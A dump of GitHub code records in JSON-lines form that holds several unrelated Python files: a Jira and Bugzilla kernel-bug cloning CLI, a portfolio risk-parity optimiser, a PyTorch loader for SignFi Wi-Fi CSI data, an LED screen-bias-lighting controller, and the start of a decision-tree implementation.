]\n        if labels:\n            conditions.extend([f\"labels = \\\"{label}\\\"\" for label in labels])\n        jql = f'{\" AND \".join(conditions)} ORDER BY created DESC'\n        # 50 most recently created KMAINT trackers should be more than enough\n        matched_issues = _search_issues(jira_client, jql, maxResults=50)\n        return cast(List[Issue], matched_issues)\n\n    def _find_bugs(self, jira_client: JIRA, tracker: Issue, bz_client: Bugzilla, bz_target_releases: Sequence[str]):\n        logger = self._logger\n        logger.info(\"Searching bugs in JIRA %s...\", tracker.key)\n        links = jira_client.remote_links(tracker.key)\n        # Search for kernel bugs in tracker content\n        pattern = re.compile(r\"(?:bugzilla.redhat.com/|bugzilla.redhat.com/show_bug.cgi\\?id=|bz)(\\d+)\")\n        content = f\"{tracker.fields.summary}\\n{tracker.fields.description}\"\n        for link in links:\n            content += f\"\\n{link.object.title}\\n{link.object.url}\"\n        m = pattern.findall(content)\n        bug_ids = sorted(set(map(int, m)))\n        if not bug_ids:\n            logger.info(\"No bugs found from %s\", tracker.key)\n            return []\n        filtered_bugs = self._get_and_filter_bugs(bz_client, bug_ids, bz_target_releases)\n        return filtered_bugs\n\n    def _get_and_filter_bugs(self, bz_client: Bugzilla, bug_ids: List[int], bz_target_releases: Sequence[str]):\n        \"\"\" Get specified bugs from Bugzilla, then return those bugs that match the defined target release.\n        \"\"\"\n        logger = self._logger\n        filtered_bugs: List[Bug] = []\n        logger.info(\"Getting bugs %s from Bugzilla...\", bug_ids)\n        bugs = cast(List[Optional[Bug]], bz_client.getbugs(bug_ids))\n        target_releases = set(bz_target_releases)\n        for bug_id, bug in zip(bug_ids, bugs):\n            if not bug:\n                raise IOError(f\"Error getting bug {bug_id}\")\n            target_release = bug.cf_zstream_target_release\n            if not target_release:\n                logger.warning(\"Target release of bug %s is not set\", bug.weburl)\n                continue\n            if target_release not in target_releases:\n                logger.warning(\"Bug %s is skipped because target release \\\"%s\\\" is not listed\", bug.weburl, target_release)\n                continue\n            logger.info(\"Found bug %s matching target release %s\", bug_id, target_release)\n            filtered_bugs.append(bug)\n        return filtered_bugs\n\n    def _clone_bugs(self, jira_client: JIRA, bugs: Sequence[Bug], conf: KernelBugSweepConfig.TargetJiraConfig):\n        logger = self._logger\n        ocp_target_release = conf.target_release\n        result: Dict[int, List[Issue]] = {}  # key is bug_id, value is a list of cloned jiras\n        for bug in bugs:\n            bug_id = int(bug.id)\n            kmaint_tracker = self._tracker_map.get(bug_id)\n            kmaint_tracker_key = kmaint_tracker.key if kmaint_tracker else None\n            logger.info(\"Checking if %s was already cloned to OCP %s...\", bug_id, ocp_target_release)\n            jql_str = f'project = {conf.project} and component = {conf.component} and labels = art:cloned-kernel-bug and labels = \"art:bz#{bug_id}\" and \"Target Version\" = \"{ocp_target_release}\" order by created DESC'\n            found_issues = cast(List[Issue], _search_issues(jira_client, jql_str=jql_str))\n            if not found_issues:  # this bug is not already cloned into OCP Jira\n                logger.info(\"Creating JIRA for bug %s...\", bug.weburl)\n                fields = self._new_jira_fields_from_bug(bug, ocp_target_release, kmaint_tracker_key, conf)\n                if not self.dry_run:\n                    issue = jira_client.create_issue(fields)\n                    jira_client.add_remote_link(issue.key, {\"title\": f\"BZ{bug_id}\", \"url\": bug.weburl})\n                    if kmaint_tracker:\n                        jira_client.create_issue_link(\"Blocks\", issue.key, kmaint_tracker)\n                    result[bug_id] = [issue]\n                else:\n                    logger.warning(\"[DRY RUN] Would have created Jira for bug %s\", bug_id)\n            else:  # this bug is already cloned into OCP Jira\n                logger.info(\"Bug %s is already cloned into OCP: %s\", bug_id, [issue.key for issue in found_issues])\n                result[bug_id] = found_issues\n                if not self.reconcile:\n                    continue\n                fields = self._new_jira_fields_from_bug(bug, ocp_target_release, kmaint_tracker_key, conf)\n                for issue in found_issues:\n                    if issue.fields.status.name.lower() == \"closed\":\n                        logger.info(\"No need to reconcile %s because it is Closed.\", issue.key)\n                        continue\n                    logger.info(\"Reconciling Jira %s (cloned from bug %s) for %s\", issue.key, bug_id, ocp_target_release)\n                    if not self.dry_run:\n                        issue.update(fields)\n                    else:\n                        logger.warning(\"[DRY RUN] Would have updated Jira %s to match bug %s\", issue.key, bug_id)\n\n        return result\n\n    @staticmethod\n    def _print_report(report: Dict, out: TextIO):\n        print_func = green_print if out.isatty() else print  # use green_print if out is a TTY\n        bugs = sorted(report.get(\"kernel_bugs\", []), key=lambda bug: bug[\"id\"])\n        clones = report.get(\"clones\", {})\n        for bug in bugs:\n            cloned_issues = clones.get(bug['id'], [])\n            text = f\"{bug['tracker']}\\t{bug['id']}\\t{'N/A' if not cloned_issues else ','.join(cloned_issues)}\\t{bug['status']}\\t{bug['summary']}\"\n            print_func(text, file=out)\n\n    def _comment_on_tracker(self, jira_client: JIRA, tracker: Issue, koji_api: koji.ClientSession,\n                            conf: KernelBugSweepConfig.TargetJiraConfig):\n        logger = self._runtime.logger\n        # Determine which NVRs have the fix. e.g. [\"kernel-5.14.0-284.14.1.el9_2\"]\n        nvrs = re.findall(r\"(kernel(?:-rt)?-\\S+-\\S+)\", tracker.fields.summary)\n        if not nvrs:\n            raise ValueError(\"Couldn't determine build NVRs for tracker %s\", tracker.key)\n        nvrs = sorted(nvrs)\n        # Check if nvrs are already tagged into OCP\n        logger.info(\"Getting Brew tags for build(s) %s...\", nvrs)\n        candidate_brew_tag = conf.candidate_brew_tag\n        prod_brew_tag = conf.prod_brew_tag\n        build_tags = brew.get_builds_tags(nvrs, koji_api)\n        shipped = all([any(map(lambda t: t[\"name\"] == prod_brew_tag, tags)) for tags in build_tags])\n        modified = all([any(map(lambda t: t[\"name\"] == candidate_brew_tag, tags)) for tags in build_tags])\n        tracker_message = None\n        if shipped:\n            tracker_message = f\"Build(s) {nvrs} was/were already shipped and tagged into {prod_brew_tag}.\"\n        elif modified:\n            tracker_message = f\"Build(s) {nvrs} was/were already tagged into {candidate_brew_tag}.\"\n        if not tracker_message:\n            logger.info(\"No need to make a comment on %s\", tracker.key)\n            return\n        comments = jira_client.comments(tracker.key)\n        if any(map(lambda comment: comment.body == tracker_message, comments)):\n            logger.info(\"A comment was already made on %s\", tracker.key)\n            return\n        logger.info(\"Making a comment on tracker %s\", tracker.key)\n        if not self.dry_run:\n            jira_client.add_comment(tracker.key, tracker_message)\n            logger.info(\"Left a comment on tracker %s\", tracker.key)\n        else:\n            logger.warning(\"[DRY RUN] Would have left a comment on tracker %s\", tracker.key)\n\n    @staticmethod\n    def _new_jira_fields_from_bug(bug: Bug, ocp_target_version: str, kmaint_tracker: Optional[str], conf: KernelBugSweepConfig.TargetJiraConfig):\n        summary = f\"{bug.summary} [rhocp-{ocp_target_version}]\"\n        if not summary.startswith(\"kernel\"):  # ensure bug summary start with \"kernel\"\n            summary = \"kernel[-rt]: \" + summary\n        description = f\"Cloned from {bug.weburl} by OpenShift ART Team:\\n----\\n{bug.description}\"\n        priority_mapping = {\n            \"urgent\": \"Critical\",\n            \"high\": \"Major\",\n            \"medium\": \"Normal\",\n            \"low\": \"Minor\",\n            \"unspecified\": \"Undefined\",\n        }\n        bug_groups = set(bug.groups)\n        fields = {\n            \"project\": {\"key\": conf.project},\n            \"components\": [{\"name\": conf.component}],\n            \"security\": {'name': 'Red Hat Employee'} if 'private' in bug_groups or 'redhat' in bug_groups else None,\n            \"priority\": {'name': priority_mapping.get(bug.priority, \"Undefined\")},\n            \"summary\": summary,\n            \"description\": description,\n            \"issuetype\": {\"name\": \"Bug\"},\n            \"versions\": [{\"name\": ocp_target_version[:ocp_target_version.rindex(\".\")]}],\n            f\"{JIRABugTracker.FIELD_TARGET_VERSION}\": [{\n                \"name\": ocp_target_version,\n            }],\n            \"labels\": [\"art:cloned-kernel-bug\", f\"art:bz#{bug.id}\"],\n        }\n        if kmaint_tracker:\n            fields[\"labels\"].append(f\"art:kmaint:{kmaint_tracker}\")\n\n        # TODO: The following lines are commented out because we haven't reached to agreement\n        # on how to handle kernel CVEs in OCP at this moment.\n        # Without the following lines, kernel CVEs will be copied as normal (non-CVE) bugs.\n\n        # is_cve_tracker = set(constants.TRACKER_BUG_KEYWORDS).issubset(set(bug.keywords))\n        # if is_cve_tracker:\n        #     # Find flaw bugs associated with the CVE tracker\n        #     cve_flaws = []\n        #     for flaw_id, flaw_bug in zip(bug.blocks, bug.bugzilla.getbugs(bug.blocks)):\n        #         if not flaw_bug:\n        #             raise IOError(f\"Error getting flaw bug {flaw_id}. Permission issue?\")\n        #         if not BugzillaBug(flaw_bug).is_flaw_bug():\n        #             continue  # this is not a flaw bug\n        #         cve_flaws.append(flaw_bug)\n        #     labels = {\"Security\", \"SecurityTracking\"}\n        #     cve_names = re.findall(r\"(CVE-\\d+-\\d+)\", bug.summary)\n        #     labels |= set(cve_names)\n        #     labels |= {f\"pscomponent:{component}\" for component in bug.components}\n        #     labels |= {f\"flaw:bz#{flaw.id}\" for flaw in cve_flaws}\n        #     fields[\"labels\"] += sorted(labels)\n        return fields\n\n\n@cli.command(\"find-bugs:kernel\", short_help=\"Find kernel bugs\")\n@click.option(\"--tracker\", \"trackers\", metavar='JIRA_KEY', multiple=True,\n              help=\"Find by the specified KMAINT tracker JIRA_KEY\")\n@click.option(\"--clone\",\n              is_flag=True,\n              default=False,\n              help=\"Clone kernel bugs into OCP Jira\")\n@click.option(\"--reconcile\",\n              is_flag=True,\n              default=False,\n              help=\"Update summary, description, etc for already cloned Jira bugs. Must be used with --clone\")\n@click.option(\"--comment\",\n              is_flag=True,\n              default=False,\n              help=\"Make comments on KMAINT trackers\")\n@click.option(\"--dry-run\",\n              is_flag=True,\n              default=False,\n              help=\"Don't change anything\")\n@click.pass_obj\n@click_coroutine\nasync def find_bugs_kernel_cli(\n        runtime: Runtime, trackers: Tuple[str, ...], clone: bool,\n        reconcile: bool, comment: bool, dry_run: bool):\n    \"\"\"Find kernel bugs in Bugzilla for weekly kernel release through OCP.\n\n    Example 1: Find kernel bugs and print them out\n    \\b\n        $ elliott -g openshift-4.14 find-bugs:kernel\n\n    Example 2: Find kernel bugs and clone them into OCP Jira\n    \\b\n        $ elliott -g openshift-4.14 find-bugs:kernel --clone\n\n    Example 3: Clone kernel bugs into OCP Jira and also update already cloned Jiras\n    \\b\n        $ elliott -g openshift-4.14 find-bugs:kernel --clone --reconcile\n    \"\"\"\n    runtime.initialize(mode=\"none\")\n    cli = FindBugsKernelCli(\n        runtime=runtime,\n        trackers=trackers,\n        clone=clone,\n        reconcile=reconcile,\n        comment=comment,\n        dry_run=dry_run\n    )\n    await cli.run()\n","repo_name":"openshift-eng/elliott","sub_path":"elliottlib/cli/find_bugs_kernel_cli.py","file_name":"find_bugs_kernel_cli.py","file_ext":"py","file_size_in_byte":17085,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"35"}
{"seq_id":"39531097516","text":"import pandas as pd\nimport numpy as np\nimport cvxpy as cp\nimport scipy.optimize as opt\n\ndef mean_variance_opt(df_mean,df_cov):\n    assets = df_mean.index\n    ret = df_mean.values\n    cov = df_cov.values\n    n = len(assets)\n    w = cp.Variable(n)\n    objective = cp.Minimize(cp.quad_form(w,cov))\n    constraints = [w>=0]\n    constraints += [ret @ w >= 0.1]\n    problem = cp.Problem(objective,constraints)\n    problem.solve()\n    results = w.value/sum(w.value)\n    return pd.Series(results,index=assets)\n\ndef risk_parity_alternative(df_cov):\n    assets = df_cov.index\n    cov = df_cov.values\n    n = len(assets)\n    w = cp.Variable(n)\n    target = 0\n    p_variance = w.T @ cov @ w\n    for i in range(n):\n        denominator = cov[i,:] @ w * n\n        target += (w[i] - p_variance/denominator)**2\n    constraints = [w>=0,sum(w)== 1 ]\n    objective = cp.Minimize(target)\n    problem = cp.Problem(objective,constraints)\n    problem.solve()\n    return pd.Series(w.value, index=assets)\n\ndef risk_parity(df_cov):\n\n    assets = df_cov.index\n    cov = df_cov.values\n    n = len(assets)\n    w0 = np.repeat(1/n,n)\n    A = np.repeat(1,n)[np.newaxis,:]\n    lb = np.array([1])\n    ub = np.array([1])\n    constraints = opt.LinearConstraint(A=A,lb=lb,ub=ub)\n    bounds = opt.Bounds(ub=np.repeat(np.inf,n),lb=np.repeat(0,n))\n    def target(w):\n        target = 0\n        p_variance = w.T.dot(cov).dot(w)\n        for i in range(n):\n            denominator = cov[i, :].dot(w) * n\n            target += (w[i] - p_variance / denominator) ** 2\n        return target\n\n    res = opt.minimize(target,w0,method='SLSQP',constraints=constraints,bounds=bounds)\n\n    return pd.Series(res.x, index=assets)\n\n\ndf_meta = pd.read_excel(r'C:\\Users\\mrzha\\OneDrive\\Documents\\AssetAllocation\\Asset Allocation Low Risk.xlsx',\n                        sheet_name='Candidate', index_col='Index')\ndf_meta['Fund ID'] = df_meta['Fund ID'].map(lambda x: '0' * (6 - len(str(x))) + str(x))\nfund_list = df_meta['Fund ID']\nfund_name = df_meta['Fund Name']\nfund_mapping = dict(zip(fund_list, fund_name))\n\ndf = pd.read_csv(r'C:\\Users\\mrzha\\OneDrive\\Documents\\AssetAllocation\\Fund Return\\Low Risk Return.csv',index_col=0,parse_dates=['Date'])\ndf.columns = df.columns.map(lambda x: '0'*(6-len(str(x)))+str(x))\ncandidates = ['003327','000171','000215','519062']\ndf = df[candidates]\ndf_month = df.resample('M').last()\ndf_month = df_month.pct_change()\ndate = '2020/01/31'\n\ndf_ewcorr = df_month.ewm(halflife=60,min_periods=36).corr().loc[date]\ndf_ewcov = df_month.ewm(halflife=60,min_periods=36).cov().loc[date]\ndf_ewcorr.index = df_ewcorr.index.get_level_values(1)\ndf_ewcov.index = df_ewcov.index.get_level_values(1)\ndf_mean = df_month.mean()\ndf_cov = df_ewcov.dropna(axis=1).dropna(axis=0)\ndf_mean = df_mean.reindex(df_cov.index)\n\nresults = pd.DataFrame(index=candidates)\nresults.loc[:,'fund_name'] = results.index.map(lambda x: fund_mapping[x])\nresults.loc[:,'return'] = 12*df_mean\nresults.loc[:,'vol'] = np.sqrt(12)*df_month.std()\nresults.loc[:,'ret over risk'] = results.loc[:,'return']/results.loc[:,'vol']\nresults.loc[:,'mean_variance_optimization'] = mean_variance_opt(df_mean,df_cov)\nresults.loc[:,'risk_parity'] = risk_parity(df_cov)\n\nresults.to_excel(r'C:\\Users\\mrzha\\OneDrive\\Documents\\AssetAllocation\\LowRiskAllocationResults.xlsx')","repo_name":"Ziqi-Zhang-CU/QSTE","sub_path":"fund_analysis/fundAllocation.py","file_name":"fundAllocation.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74034630819","text":"from __future__ import absolute_import, print_function\r\n\"\"\"\r\nSignFidata\r\n\"\"\"\r\nimport torch\r\nimport torch.utils.data as data\r\n\r\nimport os\r\nimport sys\r\nimport numpy as np\r\n\r\n\r\ndef default_loader(root):   #root is the data storage path  eg. path = D:/CSI_Data/signfi_matlab2numpy/\r\n    label_path = root + \"/labels.npy\"    #storage path : label of Sign\r\n    amp_path = root + \"/amp_datas.npy\"   #storage path : the amplitude of CSI\r\n    phase_path = root + \"/phase_datas.npy\" #storage path :  the phase value of CSI\r\n    label_env_path = root + \"/label_env.npy\" #storage path : label of person or scenario\r\n    label_all = np.load(label_path)     #label of Sign\r\n    label_env_all = np.load(label_env_path) #lable of env(person or scenario)\r\n    amp_all = np.load(amp_path)\r\n    phase_all = np.load(phase_path)\r\n    return label_all,label_env_all,amp_all,phase_all\r\n\r\n\r\nclass MyData(data.Dataset):\r\n    def __init__(self, root, set_name, loader = default_loader):  #set_name = \"test\" or \"train\" ;  root is the path of data;\r\n\r\n        self.root = root\r\n        self.load = loader\r\n        label_all,label_env_all,amp_all,phase_all = self.load(root)\r\n        if set_name == \"train\":\r\n            self.label = label_all[0:4500]\r\n            self.label_env = label_env_all[0:4500]\r\n            self.amp = amp_all[:,:,:,0:4500]\r\n            self.phase = phase_all[:,:,:,0:4500]\r\n        else :\r\n            self.label = label_all[4500:7500]\r\n            self.label_env = label_env_all[4500:7500]\r\n            self.amp = amp_all[:,:,:,4500:7500]\r\n            self.phase = phase_all[:,:,:,4500:7500]\r\n\r\n    def __getitem__(self, index):\r\n        label_index,label_env_index, amp_index, phase_index = self.label[index],self.label_env[index], self.amp[:,:,:,index], self.phase[:,:,:,index]\r\n        # choosing amplitude or phase values of CSI for perception\r\n        amp_index_change = np.empty([3,200,30],dtype= float) #the initial amp.shape is [200,30,3] change to [3,200,30]\r\n        phase_index_change = np.empty([3,200,30],dtype= float)\r\n        for i in range(0,3):\r\n            amp_index_change[i,:,:] = amp_index[:,:,i]\r\n            phase_index_change[i,:,:] = phase_index[:,:,i]\r\n        amp_index_Tensor = torch.from_numpy(amp_index_change)    # change the type from numpy to tensor\r\n        amp_index_Tensor = amp_index_Tensor.type(torch.FloatTensor) #change to Float\r\n        phase_index_Tensor = torch.from_numpy(phase_index_change)\r\n        phase_index_Tensor = phase_index_Tensor.type(torch.FloatTensor)  # change to Float\r\n\r\n        label_index_Tensor = label_index.astype(np.int)\r\n        label_index_Tensor = torch.tensor(label_index_Tensor)\r\n        label_index_Tensor = label_index_Tensor.type(torch.FloatTensor)\r\n\r\n\r\n\r\n        #return data\r\n        return amp_index_Tensor,label_index_Tensor   #or output phase_index_Tensor   and   label_env\r\n\r\n    def __len__(self):\r\n        return len(self.label_env)\r\n\r\nclass SignFi:\r\n    def __init__(self, root):\r\n            self.train = MyData(root, set_name=\"train\")\r\n            self.test = MyData(root, set_name = \"test\")\r\n\r\n\r\ndef test_SignFi(path):\r\n    print(\"hahahahhahahha\")\r\n    print(SignFi.__name__)\r\n    data = SignFi(path)\r\n    print(\"the length of training set:{}\".format(len(data.train)))\r\n    print(\"the length of test set:{}\".format(len(data.test)))\r\n    print(\"the data of train[0]:{}\".format(data.train[0]))\r\n    print(\"the data of train[3000]:{}\".format(data.train[3000]))\r\n    print(\"the data of test[1]:{}\".format(data.test[1]))\r\n    print(\"the data of test[780]:{}\".format(data.test[780]))\r\n    print(\"the type of test[780]:{}\".format(type(data.test[780])))\r\n    print(\"the shape of test[780][0]:{}\".format(data.test[780][0].shape))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    test_SignFi(\"D:/CSI_Data/SignFi/\")\r\n","repo_name":"chqwer2/CSI-Gesture-Recognition-master","sub_path":"DataSet/SignFi.py","file_name":"SignFi.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"23668016911","text":"import argparse\nimport itertools\nimport logging\nfrom pprint import pprint\nfrom typing import List, Dict\n\nimport PIL\nfrom PIL import Image\nimport time\nimport sys\n\nimport mss\nfrom mss import models\nfrom mss.screenshot import ScreenShot\n\nimport espixelstick\nfrom mapping import PixelAddress, PixelStrip\nimport img_proc\n\nimport signal\nimport sys\n\nfrom region import ScreenRegion, CombineRegion\n\n\ndef signal_handler(sig, frame):\n    print('Exiting...')\n\n    # this doesn't turn off the leds for some reason\n    # TODO: shut off the LEDs when we exit\n    for i in range(1, 3):\n        if sender[i] is not None:\n            sender[i].dmx_data = (0, 0, 0, 0)\n\n    sender.stop()  # do not forget to stop the sender\n    sys.exit(0)\nsignal.signal(signal.SIGINT, signal_handler)\n\n\ndef send_data(sender, pixel_strips: List[PixelStrip], save_image):\n    # Turn off automatic flushing so we can send everything at the same time\n    sender.manual_flush = True\n    for pixel_strip in pixel_strips:\n        pixel_data = []\n        for region in pixel_strip.regions:\n            img = region.capture_and_resize(pixel_strip.max_row_length, pixel_strip.rows, save_image)\n            pixel_data += img_proc.create_color_data(img, pixel_strip, region)\n\n        # print number of pixels\n        # print(len(pixel_data)/4)\n\n        # Set pixel data for the universe\n        sender[pixel_strip.universe].dmx_data = pixel_data\n\n    # Flush all data\n    sender.flush()\n\n    # Reenable automatic flushing\n    sender.manual_flush = False\n\n\ndef flatten(l: List) -> List:\n    return list(itertools.chain.from_iterable(l))\n\n# Send a solid color that changes every 2s\n# This doesn't use the pixel mapping structure, it just spams solid colors to the DMX\n# universes defined in 'pixel_strips'.  Tests the physical LED wiring and controller setup\n# ONLY (does not test the pixel mapping)\ndef test_strips(pixel_strips):\n    sample_data = {\n        \"red\": (255, 0, 0, 0) * 300,\n        \"green\": (0, 255, 0, 0) * 300,\n        \"blue\": (0, 0, 255, 0) * 300,\n    }\n    color_iter = itertools.cycle(sample_data.values())\n\n    for i in range(20):\n        color_data = next(color_iter)\n        for pixel_strip in pixel_strips:\n            sender[pixel_strip.universe].dmx_data = color_data\n\n        time.sleep(1)\n\n    time.sleep(10)\n    sender.stop()\n\n# Turn off the LEDs\ndef strips_off(pixel_strips):\n    print(\"Turning strips off\")\n    for pixel_strip in pixel_strips:\n        sender[pixel_strip.universe].dmx_data = (0, 0, 0, 0) * 1000\n    sender.stop()\n    print(\"Turned strips off.  This doesn't always exit, you might need to press ctrl+c again\")\n\n\n################################################################################################################################################\n\nparser = argparse.ArgumentParser(description='esp-based bias lighting')\nparser.add_argument('--debug', dest='debug', action='store_true', default=False, help='debug mode (print debug logs)')\nparser.add_argument('--test', dest='test', action='store_true', default=False, help='test mode (spam solid colors)')\nparser.add_argument('--slow', dest='slow', action='store_true', default=False, help='slow mode (3 fps)')\nparser.add_argument('--save', dest='save', action='store_true', default=False, help='save png image files for debugging')\nparser.add_argument('--off', dest='off', action='store_true', default=False, help='turn strips off')\nparser.add_argument('--profile', dest='profile', action='store_true', default=False, help='profile (create cProfile profile for debugging performance)')\n# parser.add_argument('--fps', dest='fps', action='store', default=30, help='fps')\nargs = parser.parse_args()\n\nif args.debug:\n    print(\"DEBUG MODE ENABLED\")\n    logging.basicConfig(level=logging.DEBUG)\n\nframe_rate = 3 if args.debug or args.slow else 30\n\n# I probably don't wanna do the sleep time thing, because this doesn't at all take\n# into account how long it took to process the images.  probably responsible\n# for some of the choppiness.  replace with asyncio or something like timeloop\n# TODO: try out this and see if it helps: https://github.com/sankalpjonn/timeloop\nsleep_time = round(1/frame_rate, 3)-.001\n\n### A lot of the code below is very specific to my specific pixel setup.  The setup consists of:\n# LED type: these are SK6812 LEDs which are RGBW.  This is what I already had in channels w/ connectors\n# I would have preferred to use APA102 LEDs but I didn't have them in channels.  The RGBW LEDs require 4 DMX channels per light\n# which reduces the number of LEDs we can have in a DMX Universe.  That's definitely a downside to these LEDs\n# (DMX universes can have 512 lights, and each individual LED is RGBW=4x lights).\n#\n# 3 distinct LED fixtures\n# - each fixture uses 1 esp8266 (dev board)\n#\n# - right monitor\n#   - dmx universe 1\n#   - 4 rows x 29 pixels in horizontal zigzag pattern starting at lower left\n#\n# - left monitor\n#   - dmx universe 2\n#   - 4 rows x 29 pixels in horizontal zigzag pattern starting at lower left\n#\n# - desk\n#   - dmx universe 3+4\n#   - 3 rows, horizontal zigzag, starting at upper right\n#   - row #1 (dmx universe 3)\n#     - back of desk, 75 pixels\n#   - row #2 - first part - 53 pixels in universe #3\n#   - row #2 - second part - 18 pixels in universe #4\n#     - row 2 is split due to universe size limit\n#   - row #3 - 71 pixels (dmx universe 4)\n#     - row #2 and #3 are in the middle of the desk facing downwards\n\n# function to determine if a specific pixel falls into a specific region\n# used for the monitors which have 4x rows of 29 pixels each\n# this is how we determine which LEDs should get the top of a screen vs the bottom of a screen\n# this functionality should really be refactored to use the newer ScreenRegion class\ndef _region_fn_monitors(pixel: PixelAddress) -> str:\n    if pixel.index < 29*2:\n        return \"bottom\"\n    else:\n        return \"top\"\n\nmss_instance = mss.mss()\n\nregionTop3 = ScreenRegion(\"top\", 3, mss_instance)\nregionBottom3 = ScreenRegion(\"bottom\", 3, mss_instance)\nregionTop1 = ScreenRegion(\"top\", 1, mss_instance)\nregionBottom1 = ScreenRegion(\"bottom\", 1, mss_instance)\nallBottom = CombineRegion(\"bottom\", 1, mss_instance)\n\n# The list of pixels strips.  The PixelStrip has kind of grown into a catch-all for a bunch of functionality & data\npixel_strips = [\n    # 192.168.1.237\n    PixelStrip(\n        strip_addr=\"192.168.1.237\", universe=1, row_length=[29,29,29,29], rows=4, start_left=True,\n        start_bottom=True, region_fn=_region_fn_monitors,\n        regions=[regionBottom3, regionTop3],\n    ),\n\n    PixelStrip(\n        strip_addr=\"192.168.1.240\", universe=2, row_length=[29,29,29,29], rows=4, start_left=True,\n        start_bottom=True, region_fn=_region_fn_monitors,\n        regions=[regionBottom1, regionTop1],\n    ),\n\n    PixelStrip(\n        strip_addr=\"192.168.1.243\", universe=3, row_length=[75, 53], rows=2, start_left=False,\n        start_bottom=False, region_fn=lambda _: \"bottom\",\n        regions=[allBottom],\n    ),\n\n    # # 29 in first channel\n    # # 42 in second in 2nd channel\n    ## 24 in second channel that are part of universe 3\n    # # 29+24 in universe 3, remainder (18) in universe 4\n    # # 71 total\n    # This one has the most complicated mapping due to the mismatched row lengths and that\n    # it actually encompasses multiple DMX universes :/\n    # the mapping doesn't work 100% here yet, there's something wrong with the offset calculations\n    # in mapping.py.  its a few pixels off.  it could also be that we don't handle matrices with\n    # multiple different row_lengths correctly when mapping screen pixels to led pixels\n    PixelStrip(\n        strip_addr=\"192.168.1.243\", universe=4, row_length=[18, 71], rows=2, start_left=True,\n        start_bottom=False, region_fn=lambda _: \"bottom\",\n        regions=[allBottom], first_pixel_offset=53, max_row_length=71,\n    ),\n]\n\nsender = espixelstick.create_sender(pixel_strips, fps=frame_rate)\n\nif args.profile:\n    for i in range(0, 100):\n        send_data(sender, pixel_strips, save_image=args.save)\n        time.sleep(sleep_time)\n\n    sender.stop()\n    sys.exit(0)\n\nif args.test:\n    test_strips(pixel_strips)\n    sys.exit(0)\n\nif args.off:\n    strips_off(pixel_strips)\n    sys.exit(0)\n\n# for i in range(0, 1000):\nwhile True:\n    send_data(sender, pixel_strips, save_image=args.save)\n    time.sleep(sleep_time)\n\n","repo_name":"brandon-fryslie/esp-bloom","sub_path":"espbloom.py","file_name":"espbloom.py","file_ext":"py","file_size_in_byte":8327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"35701871676","text":"import numpy as np\nimport math\n\n\nclass TreeNode:\n    \"\"\"\n    A node in a decision tree, this class is used only to represent the tree structure (it does not contain any logic)\n    \"\"\"\n    def __init__(self, feature: int, value: float, left, right):\n        assert isinstance(left, bool) or isinstance(left, TreeNode), f\"left must be a TreeNode object or a boolean value but is: {type(left)}\"\n        assert isinstance(right, bool) or isinstance(right, TreeNode), \"right must be a TreeNode object or a boolean value\"\n        assert isinstance(feature, int), \"feature must be a int\"\n        assert isinstance(value, float), \"value must be a float\"\n\n        self.feature = feature\n        self.value = value\n        self.left = left\n        self.right = right\n\n\ndef binary_entropy(p: float) -> float:\n    \"\"\"\n    Return the entropy of a binary source with 2 symbols of probability \"p\" and \"1-p\"\n\n    :param p: should be a value between 0 and 1\n    \"\"\"\n\n    if p < 0 or p > 1:\n        raise ValueError(f\"p must be a value between 0 and 1, currently is: {p}\")\n\n    # confirmed by plot this function\n    if p == 0 or p == 1:\n        return 0\n\n    return -p * math.log2(p) - (1 - p) * math.log2(1 - p)\n\n\ndef h_entropy(p: float, n: float) -> float:\n    \"\"\"\n    Return the binary entropy of p / (p + n)\n\n    :param p: number of positive sample\n    :param n: number of negative sample\n    \"\"\"\n    return binary_entropy(p / (p + n))\n\n\ndef plurality_value(y_train: list[bool]) -> bool:\n    \"\"\"\n    return the most frequently repeated boolean element\n\n    :param y_train: a list containing boolean value\n    \"\"\"\n    assert isinstance(y_train, list), \"boolean_list should be a list object\"\n\n    if len(y_train) == 0:\n        raise ValueError(\"y_train should not be empty\")\n\n    positive = len([y for y in y_train if y])\n    if positive >= len(y_train) / 2:\n        return True\n\n    # TODO: the pseudocode says to choose random if there is a tie\n    return False\n\n\ndef find_median(x_train: list, feature: int):\n    assert isinstance(x_train, list) or isinstance(x_train, np.ndarray), \"x_train should be a list or a numpy array\"\n    assert isinstance(feature, int), \"feature should be an int\"\n\n    x_train = sorted(x_train, key=lambda x: x[feature])\n    if len(x_train) % 2 != 0:\n        return x_train[len(x_train) // 2][feature]\n\n    right = x_train[len(x_train) // 2][feature]\n    left = x_train[len(x_train) // 2 - 1][feature]\n    return (left + right) / 2\n\n\ndef make_partitions(x_train: list, y_train: list[bool], median: float, feature: int):\n    assert isinstance(x_train, list) or isinstance(x_train, np.ndarray), \"x_train should be a list or a numpy array\"\n    assert isinstance(y_train, list) or isinstance(y_train, np.ndarray), \"y_train should be a list or a numpy array\"\n    assert isinstance(median, float), \"median should be a float\"\n    assert isinstance(feature, int), \"feature should be an int\"\n\n    x_train_left = []\n    y_train_left = []\n    x_train_right = []\n    y_train_right = []\n    for x, y in zip(x_train, y_train):\n        if x[feature] <= median:\n            x_train_left.append(x)\n            y_train_left.append(y)\n        else:\n            x_train_right.append(x)\n            y_train_right.append(y)\n    return x_train_left, y_train_left, x_train_right, y_train_right\n\n\ndef remainder(x_train: list, y_train: list[bool], feature: int) -> float:\n    \"\"\"\n    Return the remainder of the partition using the feature\n    \"\"\"\n    assert isinstance(x_train, list) or isinstance(x_train, np.ndarray), \"x_train should be a list or a numpy array\"\n    assert isinstance(y_train, list) or isinstance(y_train, np.ndarray), \"y_train should be a list or a numpy array\"\n    assert isinstance(feature, int), \"feature should be an int\"\n\n    median = find_median(x_train, feature)\n    partitions = make_partitions(x_train, y_train, median, feature)\n    x_train_left, y_train_left, x_train_right, y_train_right = partitions\n\n    p1 = len([x for x in y_train_left if x])\n    n1 = len(y_train_left) - p1\n\n    p2 = len([x for x in y_train_right if x])\n    n2 = len(y_train_right) - p2\n\n    # if some partition is empty, the remainder is infinite because it means that the feature is useless\n    if p1+n1 == 0 or p2+n2 == 0:\n        return float(\"inf\")\n\n    h1 = h_entropy(p1, 